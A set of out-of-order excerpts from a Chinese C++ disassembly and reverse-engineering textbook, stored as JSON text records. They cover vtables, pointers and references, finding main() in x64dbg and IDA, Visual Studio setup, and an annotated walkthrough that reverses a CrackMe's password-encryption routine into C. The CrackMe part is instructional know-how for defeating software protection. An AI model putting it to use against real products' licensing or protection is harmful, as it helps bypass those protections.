    {"text": "该默认构造函数先取得虚表的首地址然后赋值到虚表指针中虚表信息如图11-3所示。 图11-3 虚表信息 图11-3显示了虚表中的两个地址信息分别为成员函数getAge和setAge的地址。 因此得到虚表指针就相当于得到了类中所有虚函数的首地址。 对象的虚表指针初始化是通过编译器在构造函数内插入代码完成的。 在用户没有编写构造函数时因为必须初始化虚表指针所以编译器会提供默认的构造函数以完成虚表指针的初始化。 因为虚表信息在编译后会被链接到对应的执行文件中所以获得的虚表地址是一个相对固定的地址。 虚表中虚函数的地址排列顺序因虚函数在类中的声明顺序而定先声明的虚函数的地址会被排列在虚表靠前的位置。 第一个被声明的虚函数的地址在虚表的首地址处。"},
    {"text": "代码清单11-2展示了默认构造函数初始化虚表指针的过程。 对于含有构造函数的类而言其虚表初始化过程和默认构造函数相同都是在对象首地址处保存虚表的首地址。 在虚表指针的初始化过程中对象执行了构造函数后就得到了虚表指针当其他代码访问这个对象的虚函数时会根据对象的首地址取出对应的虚表元素。 当函数被调用时会间接访问虚表得到对应的虚函数首地址并调用执行。"},
    {"text": "上述通过虚表间接寻址访问的情况只有在使用对象的指针或引用调用虚函数的时候才会出现。 当直接使用对象调用自身虚函数时没有必要查表访问。 这是因为已经明确调用的是自身成员函数根本没有构成多态性查询虚表只会画蛇添足降低程序的执行效率所以将这种情况处理为直接调用方式如代码清单11-3所示。"},
    {"text": "代码清单11-3 调用自身类中的虚函数Debug版 // C++ 源码说明类CVirtual的定义见代码清单11-1 int main(int argc, char* argv[]) { Person person; person.setAge(20); printf(\"%d\\n\", person.getAge()); return 0; } //x86_vs对应汇编代码讲解 00401000 push ebp 00401001 mov ebp, esp 00401003 sub esp, 8 00401006 lea ecx, [ebp-8] ;传递this指针 00401009 call sub_401040 ;调用默认构造函数 0040100E push 14h 00401010 lea ecx, [ebp-8] ;传递this指针 00401013 call sub_401080 ;直接调用函数setAge 00401018 lea ecx, [ebp-8] ;传递this指针 0040101B call sub_401060 ;直接调用函数getAge 00401020 push eax 00401021 push offset unk_412160 00401026 call sub_4010E0 ;调用printf函数 0040102B add esp, 8 0040102E xor eax, eax 00401030 mov esp, ebp 00401032 pop ebp 00401033 retn 00401080 push ebp ;setAge函数 00401081 mov ebp, esp 00401083 push ecx 00401084 mov [ebp-4], ecx 00401087 mov eax, [ebp-4] ;eax=this 0040108A mov ecx, [ebp+8] ;[ebp+8]为age 0040108D mov [eax+4], ecx ;this->age=age 00401090 mov esp, ebp 00401092 pop ebp 00401093 retn 4 ;分析显示虚函数与其他非虚函数的成员函数的实现流程一致函数内部无差别 //x86_gcc对应汇编代码相似略 //x86_clang对应汇编代码相似略 //x64_vs对应汇编代码讲解 0000000140001000 mov [rsp+10h], rdx 0000000140001005 mov [rsp+8], ecx 0000000140001009 sub rsp, 38h 000000014000100D lea rcx, [rsp+20h] ;传递this指针 0000000140001012 call sub_140001050 ;调用默认构造函数 0000000140001017 mov edx, 14h 000000014000101C lea rcx, [rsp+20h] ;传递this指针 0000000140001021 call sub_140001080 ;直接调用函数setAge 0000000140001026 lea rcx, [rsp+20h] ;传递this指针 000000014000102B call sub_140001070 ;直接调用函数getAge 0000000140001030 mov edx, eax 0000000140001032 lea rcx, aD ;\"%d\\n\" 0000000140001039 call sub_140001100 ;调用printf函数 000000014000103E xor eax, eax 0000000140001040 add rsp, 38h 0000000140001044 retn 0000000140001080 mov [rsp+10h], edx ;setAge函数 0000000140001084 mov [rsp+8], rcx 0000000140001089 mov rax, [rsp+8] ;rax=this 000000014000108E mov ecx, [rsp+10h] ;[rsp+10h]为age 0000000140001092 mov [rax+8], ecx ;this->age=age 0000000140001095 retn //x64_gcc对应汇编代码相似略 //x64_clang对应汇编代码相似略 代码清单11-3直接通过对象调用自身的成员虚函数因此编译器使用了直接调用函数的方式没有访问虚表指针间接获取虚函数地址。"},
    {"text": "仔细分析虚表指针的原理我们会发现编译器隐藏了初始化虚表指针的实现代码当类中出现虚函数时必须在构造函数中对虚表指针执行初始化操作而没有虚函数类对象构造时不会进行初始化虚表指针的操作。"},
    {"text": "根据以上分析如果排除开发者伪造编译器生成的代码误导分析人员的情况我们就可以给出一个结论对于单线继承的类结构在某个成员函数中将this指针的地址初始化为虚表首地址时可以判定这个成员函数为构造函数。"},
    {"text": "构造函数可以通过识别虚表指针的初始化来简化分析那么析构函数中是否有对虚表指针的操作呢我们先来看一个示例如代码清单11-4所示。 代码清单11-4 析构函数分析Debug版 //C++源码说明修改代码清单11-1中类Person定义添加析构函数 ~Person() { printf(\"~Person()\\n\"); } //x86_vs对应汇编代码讲解 00401070 push ebp ;析构函数 00401071 mov ebp, esp 00401073 push ecx 00401074 mov [ebp-4], ecx ;[ebp-4]保存this指针 00401077 mov eax, [ebp-4] ;eax得到this指针这是虚表的位置 0040107A mov dword ptr [eax], offset ??_7Person@@6B@;将当前类虚表首地址赋值到虚 ;表指针中 00401080 push offset aPerson ;\"~Person()\\n\" 00401085 call sub_401120 ;调用printf函数 0040108A add esp, 4 0040108D mov esp, ebp 0040108F pop ebp 00401090 retn //x86_gcc对应汇编代码相似略 //x86_clang对应汇编代码相似略 //x64_vs对应汇编代码讲解 0000000140001080 mov [rsp+8], rcx ;析构函数 0000000140001085 sub rsp, 28h 0000000140001089 mov rax, [rsp+30h] ;rax得到this指针这是虚表的位置 000000014000108E lea rcx, ??_7Person@@6B@ 0000000140001095 mov [rax], rcx ;将当前类虚表首地址赋值到虚表指针中 0000000140001098 lea rcx, aPerson ;\"~Person()\\n\" 000000014000109F call sub_140001140 ;调用printf函数 00000001400010A4 add rsp, 28h 00000001400010A8 retn //x64_gcc对应汇编代码相似略 //x64_clang对应汇编代码相似略 通过比较代码清单11-2和代码清单11-4中构造函数与析构函数的分析流程可知二者对虚表的操作几乎相同都是将虚表指针设置为当前对象所属类中的虚表首地址。"},
    {"text": "构造函数中完成的是初始化虚表指针的工作此时虚表指针并没有指向虚表地址而执行析构函数时对象的虚表指针已经指向了某个虚表首地址。 大家是否觉得在析构函数中填写虚表是没必要的呢这里实际上是在还原虚表指针让其指向自身的虚表首地址防止在析构函数中调用虚函数时取到非自身虚表从而导致函数调用错误。 关于在析构函数中填写虚表是否有必要大家可以结合继承关系思考一下这部分内容将在第12章进行详细讲解。 判定析构函数的依据和虚表指针相关识别析构函数的充分条件是写入虚表指针但是请注意它与前面讨论的虚表指针初始化不同。 所谓虚表指针初始化是指对象原来的虚表指针位置不是有效的经过初始化才指向了正确的虚函数表。 而写入虚表指针是指对象的虚表指针可能是有效的已经指向了正确的虚函数表将对象的虚表指针重新赋值后其指针可能指向了另一个虚表虚表的内容不一定和原来的一样。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 第1章 熟悉工作环境和相关工具 “工欲善其事必先利其器。”在软件逆向工程中一个好的工具能够极大地提高软件逆向分析效率。本章将介绍编译环境的安装以及软件逆向分析中常用工具的使用方式。本书使用的所有编译环境和工具的工作环境都运行于Windows 10系统。 C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 赞誉 本书独特的章节布局、循序渐进的内容呈现非常适合软件工程与技术的爱好者。能够受到广大读者欢迎进行再版印发既是因为著者构思精巧更是得益于钱林松先生长期以来对软件技术的浓厚兴趣、坚持不懈的钻研和在信息安全与教育培训行业的丰富实践经验。 ——邹德清 华中科技大学教授、博士生导师/网络空间安全学院常务副院长 无论是进行恶意代码分析、检测、溯源还是安全漏洞挖掘与复现甚至是对于当下火热的基于智能化的软件安全研究来说逆向分析能力都极为关键。本书为每一位软件安全研究人员赋能让我们从冷冰的二进制代码中感受到人与人之间对抗博弈的精彩与激情。感谢钱林松老师对技术的毫无保留与无私奉献。 ——彭国军 武汉大学国家网络安全学院教授 当前软件正向编程和开发的图书已经相当丰富了而逆向分析的优秀著作却屈指可数。本书是作者多年来在逆向分析领域深入探索的经验总结细品本书的章节脉络能感受到钱林松是如何在当初缺乏参考资料的情况下慢慢撬开逆向分析学习的大门再深入领悟逆向分析的精髓里面每一个学习案例都凝聚了作者的心血。 ——陈伟 南京邮电大学信息安全系主任、教授 本书作者钱林松老师基于对编译器技术、反汇编技术的深刻理解和实践经验携手弟子张延清老师再版《C++反汇编与逆向分析技术揭秘》一书不仅更新了VS目前最新的2019版还增加了对Clang、GCC以及64bit指令集的示例和讲解。 ——崔竞松 武汉大学国家网络安全学院副教授 “知其然知其所以然”是我们每个技术人员都应该追求的目标。本书作者以自身多年实践经验为基础为读者提供了一条快速成长的捷径。本书既有理论也有实践还配合讲解了5个逆向分析案例进一步帮助读者理解逆向技术在真实环境中的应用。 ——周凯 《云安全安全即服务》作者 在网络安全知识体系的众多分支中系统底层安全问题是最难以发现和利用的一环。本书以理论与实践相结合由浅入深全面系统化的讲解了反汇编与逆向分析技术对读者深入理解和掌握相关知识有很大帮助非常值得广大网络安全人员学习和借鉴。 ——吴涛 中国电信股份有限公司研究院网络安全研究员/《Python安全攻防渗透测试实战指南》作者 对于逆向分析技术不仅要知其然更要知其所以然。本书以常用工具为切入点深入剖析C/C++的内部原理对其汇编代码形式进行详细解析对于新手可以帮助其理解逆向技术对于老手能够起到温故知新作用。强烈力荐 ——谢兆国谢公子 深信服深蓝攻防实验室攻防渗透专家"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 2.5 地址、指针和引用 在C++中地址标号使用十六进制表示取一个变量的地址使用“&”符号只有变量才存在内存地址常量见2.6节没有地址不包括const定义的伪常量。"},
    {"text": "2.5.1 指针和地址的区别 在32位应用程序中地址是一个由32位二进制数字组成的值在64位应用程序中地址是一个由64位二进制数字组成的值。"},
    {"text": "如果是在一个int类型的指针中保存这个地址就可以将其看作int类型数据的起始地址向后数4字节到0x0135FE08处将0x0135FE040x0135FE08中的数据按整型存储方式解释详见2.5.2节。"},
    {"text": "指针和地址之间的不同点如表2-3所示。 表2-3 指针和地址之间的不同点 指针和地址之间的共同点如表2-4所示。 表2-4 指针和地址之间的共同点 2.5.2 各类型指针的工作方式 在C++中任何数据类型都有对应的指针类型。"},
    {"text": "指针p1为int类型以int类型在内存中占用的空间大小和排列方式对地址进行解释然后取出数据。 int类型占4字节内存空间以小尾方式排列取出内容为“12345678”是一个十六进制的数字。"},
    {"text": "指针都支持哪些运算符号呢在C++中所有指针类型都只支持加法和减法。 指针是用来保存数据地址、解释地址的因此只有加法与减法才有意义其他运算对于指针而言没有任何意义。"},
    {"text": "指针加1后指针内保存的地址值并不一定会加1运算结果取决于指针类型如指针类型为int地址值将会加4这个4是根据类型大小所得到的值。 C++为什么要用这种烦琐的地址偏移方法呢因为当指针中保存的地址为数组首地址时为了能够利用指针加1后访问到数组内下一成员所以加的是类型长度而非数字1如代码清单2-5所示。"},
    {"text": "它们偏移后的地址都是由指针类型决定的以指针保存的地址作为寻址[首地址]加上[偏移量]最终得到[目标地址]。 偏移量的计算方式为指针类型长度乘以移动次数因此得出指针寻址公式如下所示。 type *p; // 这里用 type 泛指某类型的指针 // 省略指针赋值代码 p+n 的目标地址 = 首地址 + sizeof( 指针类型 type) * n 对于偏移量为负数的情况此公式同样适用。 套用公式得到的地址值会小于首地址这时指针是在向后寻址。"},
    {"text": "可用于两指针中的地址比较也可用于其他场合比如求数组元素个数其计算公式如下所示。 type *p, *q; // 这里用type泛指某类型的指针 // 省略指针赋值代码 p-q = ((int)p - (int)q) / sizeof(指针类型type) 另外两指针相加也是没有意义的。"},
    {"text": "在代码清单2-5中指针p1加1后取出的内容就是数组ary以外的数据。 ary数组只有5字节数据长度而p1将访问到数组的第4项对其取内容后得到的数据是以ary数组的第4项为起始地址的4字节数据。"},
    {"text": "C++为了简化操作对指针的操作进行了封装产生了引用类型。 引用类型实际上就是指针类型只不过用于存放地址的内存空间对使用者而言是隐藏的。"},
    {"text": "代码清单2-6 引用类型揭秘 // C++ 源码 #include <stdio.h> void add(int &ref){ ref++; } int main(int argc, char* argv[]) { int n = 0x12345678; int &ref = n; add(ref); return 0; } //x86_vs对应汇编代码讲解 00401020 push ebp 00401021 mov ebp, esp 00401023 sub esp, 8 00401026 mov dword ptr [ebp-4], 12345678h;n=0x12345678 0040102D lea eax, [ebp-4] ;eax=&n 00401030 mov [ebp-8], eax ;[ebp-8]存放n的地址int& ref = n 00401033 mov ecx, [ebp-8] 00401036 push ecx ;参数1传递n的地址 00401037 call sub_401000 ;调用add函数 0040103C add esp, 4 ;平衡栈 0040103F xor eax, eax 00401041 mov esp, ebp 00401043 pop ebp 00401044 retn //x86_gcc对应汇编代码讲解 00401523 push ebp 00401524 mov ebp, esp 00401526 and esp, 0FFFFFFF0h ;对齐栈 00401529 sub esp, 20h 0040152C call ___main ;调用初始化函数 00401531 mov dword ptr [esp+18h], 12345678h;n=0x12345678 00401539 lea eax, [esp+18h] ;eax=&n 0040153D mov [esp+1Ch], eax ;[esp+1Ch]存放n的地址int& ref = n 00401541 mov eax, [esp+1Ch] 00401545 mov [esp], eax ;参数1传递n的地址int * 00401548 call __Z3addRi ;调用函数add(int &) 0040154D mov eax, 0 00401552 leave 00401553 retn //x86_clang对应汇编代码讲解 00401020 push ebp 00401021 mov ebp, esp 00401023 sub esp, 18h 00401026 mov eax, [ebp+0Ch] 00401029 mov ecx, [ebp+8] 0040102C mov dword ptr [ebp-4], 0 00401033 mov dword ptr [ebp-8], 12345678h;n=0x12345678 0040103A lea edx, [ebp-8] ;edx=&n 0040103D mov [ebp-0Ch], edx ;[ebp-0Ch]存放n的地址int& ref = n 00401040 mov edx, [ebp-0Ch] 00401043 mov [esp], edx ;参数1传递n的地址 00401046 mov [ebp-10h], eax 00401049 mov [ebp-14h], ecx 0040104C call sub_401000 ;调用add函数 00401051 xor eax, eax 00401053 add esp, 18h 00401056 pop ebp 00401057 retn //x64_vs对应汇编代码讲解 0000000140001020 mov [rsp+10h], rdx 0000000140001025 mov [rsp+8], ecx 0000000140001029 sub rsp, 38h 000000014000102D mov dword ptr [rsp+20h], 12345678h;n=0x12345678 0000000140001035 lea rax, [rsp+20h] ;rax=&n 000000014000103A mov [rsp+28h], rax ;[rsp+28h]存放n的地址int& ref = n 000000014000103F mov rcx, [rsp+28h] ;参数1传递n的地址 0000000140001044 call sub_140001000 ;调用add函数 0000000140001049 xor eax, eax 000000014000104B add rsp, 38h 000000014000104F retn //x64_gcc对应汇编代码讲解 000000000040156A push rbp 000000000040156B mov rbp, rsp 000000000040156E sub rsp, 30h 0000000000401572 mov [rbp+10h], ecx 0000000000401575 mov [rbp+18h], rdx 0000000000401579 call __main ;调用初始化函数 000000000040157E mov dword ptr [rbp-0Ch], 12345678h;n=0x12345678 0000000000401585 lea rax, [rbp-0Ch] ;rax=&n 0000000000401589 mov [rbp-8], rax ;[rbp-8]存放n的地址int& ref = n 000000000040158D mov rax, [rbp-8] 0000000000401591 mov rcx, rax ;参数1传递n的地址int * 0000000000401594 call _Z3addRi ;调用函数add(int &) 0000000000401599 mov eax, 0 000000000040159E add rsp, 30h 00000000004015A2 pop rbp 00000000004015A3 retn //x64_clang对应汇编代码讲解 0000000140001020 sub rsp, 48h 0000000140001024 mov dword ptr [rsp+44h], 0 000000014000102C mov [rsp+38h], rdx 0000000140001031 mov [rsp+34h], ecx 0000000140001035 mov dword ptr [rsp+30h], 12345678h;n=0x12345678 000000014000103D lea rdx, [rsp+30h] ;rdx=&n 0000000140001042 mov [rsp+28h], rdx ;[rsp+28h]存放n的地址int& ref = n 0000000140001047 mov rcx, [rsp+28h] ;参数1传递n的地址 000000014000104C call sub_140001000 ;调用add函数 0000000140001051 xor eax, eax 0000000140001053 add rsp, 48h 0000000140001057 retn 在图2-10中可以看出引用类型的存储方式和指针是一样的都是使用内存空间存放地址值。"},
    {"text": "代码清单2-7 引用类型作为函数参数 //Add函数实现 void add(int &ref){ ref++; } //x86_vs对应汇编代码讲解 00401000 push ebp 00401001 mov ebp, esp 00401003 mov eax, [ebp+8] ;取出参数ref的内容放入eax 00401006 mov ecx, [eax] 00401008 add ecx, 1 0040100B mov edx, [ebp+8] 0040100E mov [edx], ecx ;对eax做取内容操作间接访问实参 00401010 pop ebp 00401011 retn //x86_gcc对应汇编代码讲解 00401510 push ebp 00401511 mov ebp, esp 00401513 mov eax, [ebp+8] ;取出参数ref的内容放入eax 00401516 mov eax, [eax] 00401518 lea edx, [eax+1] 0040151B mov eax, [ebp+8] 0040151E mov [eax], edx ;对eax做取内容操作间接访问实参 00401520 nop 00401521 pop ebp 00401522 retn //x86_clang对应汇编代码讲解 00401000 push ebp 00401001 mov ebp, esp 00401003 push eax 00401004 mov eax, [ebp+8] 00401007 mov ecx, [ebp+8] ;取出参数ref的内容放入ecx 0040100A mov edx, [ecx] 0040100C add edx, 1 0040100F mov [ecx], edx ;对ecx做取内容操作间接访问实参 00401011 mov [ebp-4], eax 00401014 add esp, 4 00401017 pop ebp 00401018 retn //x64_vs对应汇编代码讲解 0000000140001000 mov [rsp+8], rcx 0000000140001005 mov rax, [rsp+8] ;取出参数ref的内容放入rax 000000014000100A mov eax, [rax] 000000014000100C inc eax 000000014000100E mov rcx, [rsp+8] 0000000140001013 mov [rcx], eax ;对rax做取内容操作间接访问实参 0000000140001015 retn //x64_gcc对应汇编代码讲解 0000000000401550 push rbp 0000000000401551 mov rbp, rsp 0000000000401554 mov [rbp+10h], rcx 0000000000401558 mov rax, [rbp+10h] ;取出参数ref的内容放入rax 000000000040155C mov eax, [rax] 000000000040155E lea edx, [rax+1] 0000000000401561 mov rax, [rbp+10h] 0000000000401565 mov [rax], edx ;对rax做取内容操作间接访问实参 0000000000401567 nop 0000000000401568 pop rbp 0000000000401569 retn //x64_clang对应汇编代码讲解 0000000140001000 push rax 0000000140001001 mov [rsp], rcx ;保存参数1 ref到局部变量空间 0000000140001005 mov rcx, [rsp] ;取出参数ref的内容放入rcx 0000000140001009 mov eax, [rcx] 000000014000100B add eax, 1 000000014000100E mov [rcx], eax ;对rcx做取内容操作间接访问实参 0000000140001010 pop rax 0000000140001011 retn 在代码清单2-7中通过对参数加1的方式修改实参数据。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 3.3 main函数的识别 有了3.2节的知识作铺垫识别VS2019正常编译程序的main函数就非常简单了。 识别main函数的原理如同识别一个人。要对一个人进行识别首先是观察此人外观找出他身体和面貌上的特征。然后将这些特征与自己认识的人的特征相匹配从而判断此人身份。那么C++下的main函数都有哪些特征呢从代码清单3-1中可以总结出main函数有如下特征。 有3个参数分别是命令行参数个数、命令行参数信息和环境变量信息而且main函数是启动函数中唯一具有3个参数的函数。同理WinMain也是启动函数中唯一具有4个参数的函数。 main函数返回后需要调用exit函数结束程序根据main函数调用的特征找到入口代码第一次调用exit函数处离exit最近的且有3个参数的函数通常就是main函数。 x64dbg在加载程序时直接暂停在应用程序的入口处而不会直接定位到main函数处需要分析者手动查找定位。通过main函数的特性查找到所在的位置如代码清单3-4所示。 代码清单3-4 x64dbg反汇编信息 0040135F | | mov eax,dword ptr ds:[<&__initenv>] 00401364 | | mov edx,dword ptr ds:[405010] 0040136A | | mov dword ptr ds:[eax],edx 0040136C | | mov eax,dword ptr ds:[405010] 00401371 | | mov dword ptr ss:[esp+8],eax ;参数3 env入栈 00401375 | | mov eax,dword ptr ds:[405014] 0040137A | | mov dword ptr ss:[esp+4],eax ;参数2 argv入栈 0040137E | | mov eax,dword ptr ds:[405018] 00401383 | | mov dword ptr ss:[esp],eax ;参数1 argc入栈 00401386 | | call x86_gcc.401510 ;main函数 0040138B | | mov ecx,dword ptr ds:[405008] 00401391 | | mov dword ptr ds:[40500C],eax 00401396 | | test ecx,ecx 00401398 | | je x86_gcc.40146C 0040139E | | mov edx,dword ptr ds:[405004] 004013A4 | | test edx,edx 004013A6 | | jne x86_gcc.4013B2 004013A8 | | call <JMP.&_cexit> ;第一次调用exit函数 识别出代码清单3-4中的exit()函数后对应前面讨论的main函数特性继续向上寻找。为了准确识别main函数可以考察传递参数的个数如果具有3个参数便是main函数的调用双击即可进入main函数的实现中。 IDA下的main函数识别更为简便它会直接分析出main函数所在的位置并显示出来。如果IDA无法识别可根据前面讨论的main函数特性利用exit函数定位如果IDA无法识别出exit函数就需要加载sig文件重新识别如图3-2所示。 图3-2 IDA分析查找启动函数"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 1.1 安装Visual Studio 2019 Visual Studio简称VS是微软公司开发的工具包产品是目前最流行的Windows平台应用程序集成开发环境IDE最新版本为Visual Studio 2019本书所有VS程序都使用Visual Studio 2019编译。 1. 安装 VS的官方下载地址为 https://visualstudio.microsoft.com/zh-hans/downloads/ 下载页面如图1-1所示。 图1-1 Visual Studio 2019下载页面 下载需要安装的版本之后运行Visual Studio Installer选择需要安装的组件如图1-2所示。 图1-2 Visual Studio 2019安装界面 2. 编译 启动Visual Studio 2019点击“配置新项目”选择应用程序类型输入项目名称、位置之后单击“创建”如图1-3所示。 图1-3 Visual Studio 2019创建项目 单击菜单“生成解决方案”快捷键Ctrl+Shift+B完成程序的编译单击“调试”→“开始执行”快捷键Ctrl+F5完成程序的运行。生成的可执行文件32位程序在项目根目录的Debug或Release目录下64位程序在项目根目录的x64/Debug/或x64/Release目录下。也可以打开反汇编窗口点击“调试”→“窗口”→“反汇编”快捷键Ctrl+Alt+D跟踪调试源码与反汇编对应情况VS Debug/Release程序都支持调试与反汇编如图1-4所示。 图1-4 Visual Studio 2019反汇编调试 VS编译选项设置如图1-5所示。 图1-5 Visual Studio 2019编译选项 Debug调试版编译器默认不对生成的汇编代码做优化。 Release发布版编译器默认对生成的汇编代码做优化可设置为01优化最小文件优化或02优化最快执行速度优化。如无设置Release版默认使用02优化选项。本书如无特别说明Release版使用02优化。优化设置如图1-6所示。 图1-6 Visual Studio 2019优化选项 x86编译32位应用程序。 x64编译64位应用程序。 3. 使用命令行编译 VS也提供命令行工具编译程序使用命令行可以很方便地编译没有VS项目文件.sln的程序例如一些开源源码。VS命令行工具界面如图1-7所示说明如下。 图1-7 Visual Studio 2019命令行工具 x64 Native Tools Command Prompt for VS 2019编译64位程序命令行。 x64_x86 Cross Tools Command Prompt for VS 2019编译兼容32位程序命令行。 x86 Native Tools Command Prompt for VS 2019编译32位程序命令行。 x86_x64 Cross Tools Command Prompt for VS 2019编译兼容64位程序命令行。 使用命令编译32位Debug/Release程序运行命令行x86 Native Tools Command Prompt for VS 2019输入以下命令编译程序。 cd <源码目录> cl /O2 /Fe:Hello.exe Hello.cpp /02表示编译Release版如果不写/02则默认为Debug版。/Fe指定生成的可执行文件名称。编译过程如图1-8所示。 图1-8 Visual Studio 2019命令行编译32位程序 使用命令编译64位Debug/Release程序运行命令行x64 Native Tools Command Prompt for VS 2019输入以下命令编译程序。 cd <源码目录> cl /O2 /Fe:Hello.exe Hello.cpp 编译过程如图1-9所示。 图1-9 Visual Studio 2019命令行编译64位程序"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 4.5 一次算法逆向之旅 前面我们了了解各种运算的基础知识接下来进行一次简单的逆向之旅通过分析程序的反汇编代码来了解程序的算法巩固所学知识。"},
    {"text": "代码清单4-24 CrackMe程序分析片段1Release版 var_10= byteptr-10h ;从var_10到var_3都是连续的1字节大小的局部变量 var_F= byte ptr-0Fh var_E= byte ptr -0Eh var_D= byte ptr -0Dh var_C= byte ptr -0Ch var_B= byte ptr -0Bh var_A= byte ptr -0Ah var_9= byte ptr -9 var_8= byte ptr -8 var_7= byte ptr -7 var_6= byte ptr -6 var_5= byte ptr -5 var_4= byte ptr -4 var_3= byte ptr -3 argc= dword ptr 4 argv= dword ptr 8 envp= dword ptr0Ch 代码清单4-24为CrackMe程序在main()函数中的参数以及局部变量定义。"},
    {"text": "从标号var_3到var_10的变量都占byte1字节的连续局部变量将其暂时看作数组找到起始标号var_10的地址按*键转换14个字节数据为数组。 转换数组后将标号名称var_10重命名按N键修改名称为“charNumber14”如图4-6所示。 图4-6 数据转换数组 按Esc键返回反汇编视图窗口在反汇编视图窗口的反汇编代码中所有引用var_3var_10的地方都被替换成了数组访问方式如代码清单4-25所示。"},
    {"text": "代码清单4-25 CrackMe程序分析片段2Release版 charNumber14= byte ptr -10h ;转换后的数组 ; main()函数的三个参数argc命令个数、argv命令行信息、envp环境变量信息 argc= dword ptr 4 argv= dword ptr 8 envp= dword ptr0Ch sub esp,10h ; 取参数argv数据放入ecx中 mov ecx,[esp+10h+argv] mov al,1 mov [esp+10h+charNumber14+6],al ;将数组charNumber14第6项赋值为al即1 mov [esp+10h+charNumber14+7],al ;将数组charNumber14第7项赋值为al即1 ;即edx中保存为argv[1] mov edx,[ecx+4] ;在ecx中保存的参数为argv根据argv类型这里为 ;argv[1]操作 ;即edx中保存为argv[1] mov [esp+10h+charNumber14+0Ah],al ;将数组charNumber14第10项赋值为al即1 mov al, byte ptr[esp+10h+argc] ;将al赋值为命令行参数个数argc push ebx ;保存环境 mov bl,al ;将bl赋值为al即命令行参数个数argc push esi ;保存环境 dec bl ;对bl执行减等于1操作等同argc减1 push edi ;保存环境 or [edx],bl ;在edx中保存为argv[1]这步操作为argv[1] ;[0]|=argc-1 ① mov edx,[ecx+4] ;在edx中保存为argv[1] mov [esp+1Ch+charNumber14], 77h ;将数组charNumber14第0项赋值为0x77 mov [esp+1Ch+charNumber14+1], 76h ;将数组charNumber14第1项赋值为0x76 xor [edx+1],bl ;在edx中保存为argv[1]这步操作为argv[1] ;[1]^=argc-1 ② mov dl,6 ;修改dl为数值6 imul dl ;对dl做有符号乘法乘以alal中保存的数据为命令 ;行参数个数 ;结果存入al中 mov esi,[ecx+4] ;在esi中保存为argv[1] sub al,dl ;使用al减等于dl mov [esp+1Ch+charNumber14+2],0Cah ;将数组charNumber14第2项赋值为0xCA mov [esp+1Ch+charNumber14+3],0F9h ;将数组charNumber14第3项赋值为0xF9 imul byte ptr[esi+2] ;在esi中保存argv[1]此句指令为argv[1] ;[2]*alal中保存的值 ;为命令行参数个数乘以6后再减去6。 转换为al = ;argv[1][2] * (argc - 1) * 6 mov [esi+2],al ;esi+2中的数据等于al即argv[1][2]=argv[1] ;[2]*(argc-1)*6 ③ mov esi,[ecx+4] ;在esi中保存为argv[1] mov [esp+1Ch+charNumber14+4],0A8h ;将数组charNumber14第4项赋值为0xA8 mov [esp+1Ch+charNumber14+5], 0Ch ;将数组charNumber14第5项赋值为0x0C movsx eax, byte ptr[esi+2] ;取argv[1][2]数据存到eax中 cdq ;扩展高位到 edx and edx,3 ;使用eax扩展后的高位edx与3进行位与运算 mov [esp+1Ch+charNumber14+8],0Feh ;将数组charNumber14第8项赋值为0xFE add eax,edx ;使用eax加扩展高位edx mov [esp+1Ch+charNumber14+9],0DBh ;将数组charNumber14第9项赋值为0xDB sar eax,2 ;将eax右移动2位此数可套用除法公式移动次数为 ;2的幂因此除数为4转换后变为eax=argv[1][2]/4 mov [esi+3],al ;将al赋值到esi+3即argv[1][3]=argv[1][2]/4 ④ mov eax,[ecx+4] ;使用eax保存argv[1] mov [esp+1Ch+charNumber14+0Bh],0E0h;将数组charNumber14第11项赋值为0xE0 mov [esp+1Ch+charNumber14+0Ch],0FBh;将数组charNumber14第12项赋值为0xFB mov dl,[eax+4] ;在eax中保存argv[1]即argv[1][4]数据存入dl mov [esp+1Ch+charNumber14+0Dh],0 ;将数组charNumber14第13项赋值为0x00 ;到此所有的数组成员都被赋值 在代码清单4-25中对数组charNumber14中的每一项进行赋值并对命令行参数进行一些计算这就是在对我们输入的密码信息进行加密。"},
    {"text": "charNumber14数组中保存的就是加密后的密码分析后得到charNumber14中“0x77、0x76、0xCA、0xF3、0xA8、0x0C、0x01、0x01、0xFE、0xDB、0x01、0xE0、0xFB、0x00”共14个字节的数据。"},
    {"text": "edx和十六进制数0x80000001做位与运算后如果为负数则结果为0x80000001由于存放编码方式为补码而这个数字并不是补码的-1需要进行补码转换。"},
    {"text": "分析代码清单4-25和代码清单4-26的加密过程可以得出加密运算步骤共有13步。 对这13步加密步骤进行分析并还原后可以得出整个加密过程如代码清单4-27所示。"},
    {"text": "代码清单4-27 还原成源码的加密过程 // main()函数定义 void main(int argc, char* argv[],char *envp){ //还原加密算法的① 步 argv[1][0] |= argc-1; argv[1][1] ^= argc-1; argv[1][2] = argv[1][2] * (argc - 1) * 6; argv[1][3] = argv[1][2] / 4; argv[1][4] = argv[1][4] <<3; argv[1][5] = argv[1][5] >>2; argv[1][6] = argv[1][6] &argc-1&7; argv[1][7] %= 2; argv[1][8] = ~(argc-1); // 这里有一步指针定义操作 char *pArgv9 = &argv[1][9]; *pArgv9 = *pArgv9 + argv[1][0] - argv[1][2]; // 执行步骤⑩后对指针pArgv9进行了加1操作 pArgv9 += 1; //在步骤 中首先对指针pArgv9进行加1操作再参与运算。 这里为一个前加操作 pArgv9 += 1; *( pArgv9 - 1) = argv[1][6] / argv[1][7]; *pArgv9 += argv[1][3] - argv[1][1]; *(short)pArgv9 = argv[1][4] * argv[1][5]; // 密码比对部分使用strcmp进行字符串比较实现过程略 } 代码清单4-27为CrackMe程序加密算法还原后的代码使用了大量的位运算。"},
